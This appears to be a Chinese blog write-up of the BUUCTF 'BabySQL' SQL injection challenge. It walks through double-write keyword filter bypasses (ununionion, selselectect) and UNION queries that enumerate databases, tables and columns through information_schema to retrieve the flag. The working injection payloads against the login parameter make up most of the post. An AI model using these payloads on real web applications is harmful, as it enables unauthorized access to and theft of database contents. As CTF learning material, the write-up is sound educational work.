[极客大挑战 2019]BabySQL 获取元数据CTF实例

[极客大挑战 2019]BabySQL

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

一、收集信息

首先打开网页
在这里插入图片描述
它说做了过滤,别管它!登录界面直接试万能密码’or 1='1
在这里插入图片描述
发现or给过滤为空了,这里就直接能想到用双写来绕过,但是不用急,先做做Fuzz测试
主要过滤了select、union、or、from、where这些函数

再配合双写来进行联合查询看看

check.php?username=admin&password=a'ununionion selselectect 1 #

在这里插入图片描述
发现报错了,说的是列数不对
加列数加到第三列时就够了

check.php?username=admin&password=a'ununionion selselectect 1,2,3 #

在这里插入图片描述

二、构造payload

现在知道了列数,以及被过滤掉的函数,就可以开始构造payload了!
爆破全部数据库名

check.php?username=admin&password=a%27ununionion+selselectect+1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata)+%23

在这里插入图片描述

这里需要注意的一个小坑!"information"中的for里面包含or字符串,会给过滤掉,不仅要对它进行双写来绕过,也需要将整句语句用括号括起来加以表示,不然会出现报错!

爆破全部表名
爆破数据库名后,能看到一个ctf的数据库,对它进行列举

check.php?username=admin&password=a%27ununionion+selselectect+1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)whwhereere table_schema="ctf"+%23

在这里插入图片描述
爆破字段

check.php?username=admin&password=a'ununionion selselectect 1,2,group_concat(column_name)frfromom(infoorrmation_schema.columns)whwhereere table_name="Flag" #

在这里插入图片描述
爆破数据
知道这些就可以爆出flag了

check.php?username=admin&password=a'ununionion selselectect 1,2,flag 

在这里插入图片描述

总结

需要注意对字符的过滤和爆破语句的利用
爆破数据库名 :select schema_name from information_schema.schemata
爆破表名 :select table_name from information_schema.tables where table_schema=[database]
爆破列名 :select column_name from information_schema.columns where table_name=[table]
感谢BUUCTF提供的平台练习!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值